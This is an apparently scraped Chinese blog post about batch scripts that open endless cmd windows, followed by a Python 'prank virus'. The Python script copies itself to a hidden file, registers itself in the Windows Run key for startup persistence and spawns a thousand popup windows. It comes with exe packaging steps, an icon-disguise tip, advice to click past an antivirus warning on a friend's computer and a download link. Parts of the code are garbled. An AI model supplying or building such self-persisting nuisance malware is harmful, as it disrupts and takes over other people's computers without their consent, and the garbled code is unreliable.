关于批处理cmd无限弹窗
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了关于批处理cmd无限弹窗相关的知识,希望对你有一定的参考价值。
@echo off:123start cmd.exeecho bbacpause>nul上面的代码是让cmd无限循环 但是我在其中加入了一个显示bbac然后 每个弹出的窗口都会显示bbac吗?比如下图
123:123start cmd.exegoto 123
任何编程语言都是一行一行往下执行的
为了程序的功能性,扩展性,增加了流程控制,流程跳转等命令或者说是关键字
其目的就是为了程序的更好的处理事件过程
:123 你可以理解成一股标签,在整个代码当中,标签的作用就相当于记录某一行的行数点
start cmd.exe 就是启动cmd.exe程序
goto 在批处理脚本中意思就是跳转,goto 123 就是跳转到标签123
那么程序执行到了goto语句后,会再次从 :123 标签哪里继续往下执行
从而达到一直运行打开cmd.exe 也可以理解成循坏的打开执行cmd.exe
容易,代码如下 ↓
:a
start "C:\\windows\\explorer.exe"
goto a
Python无限弹窗,开机启动,打包为exe程序
Python无限弹窗,打包为exe程序开机自启动,娱乐小程序。import tkinter as tk
import random,threading,win32api,win32con, shutil,os,sys
def Mymovefile(): #移动程序到当前分区下命名为 ARE_YOU_OKAY.exe。朋友问删了为什么还会执行。当然是因为有备份,玩够了就在分区下面删除这个吧。
if not os.path.exists(os.path.abspath(sys.argv[0])[0] + ‘:ARE_YOU_OKAY.exe‘): #看当前分区下有没有
shutil.copyfile(os.path.abspath(sys.argv[0]), os.path.abspath(sys.argv[0])[0] + ‘:ARE_YOU_OKAY.exe‘) # 移动文件
class AutoRun(): #设置为开机自启程序######《《《《第一次360会提示篡改程序,在朋友的电脑上帮他确定一下。以后开机都会执行》》》》
def __init__(self):
name = ‘lalalulala‘ # 要添加的项值名称
path = os.path.abspath(sys.argv[0])[0] + ‘:ARE_YOU_OKAY.exe‘ # 要添加的exe路径
KeyName = ‘SoftwareMicrosoftWindowsCurrentVersionRun‘
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS)
win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)
win32api.RegCloseKey(key)
def Play(): #展示的效果
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(20, width)
b = random.randrange(20, height)
window.title(‘给你看个小病毒‘)
window.geometry("400x100" + "+" + str(a) + "+" + str(b))
tk.Label(window,
text=‘你吃饭了吗?‘, # 标签的文字
bg=‘Red‘, # 背景颜色
font=(‘楷体‘, 17), # 字体和字体大小
width=466, height=4 # 标签长宽
).pack() # 固定窗口位置
window.mainloop()
threads = []
if __name__=="__main__":
Mymovefile()
AutoRun()
for i in range(1000): #依电脑性能调值大;千万不要 while True:
t = threading.Thread(target=Play)
t.start()
程序打包
1,Python 脚本打包成可以直接双击运行的 .exe 文件
win+R 输入powershell,
pip3 install pyinstaller
pip install pypiwin32
pyinstaller -F -i qq.ico -w curl.py #-F指定exe程序,-i icon图标,-w,无控制台
本人编辑好的exe程序
https://raw.githubusercontent.com/xiaoxuenice/xiaoxue/master/Play.exe
可用图标转换器更换一下图标
以上是关于关于批处理cmd无限弹窗的主要内容,如果未能解决你的问题,请参考以下文章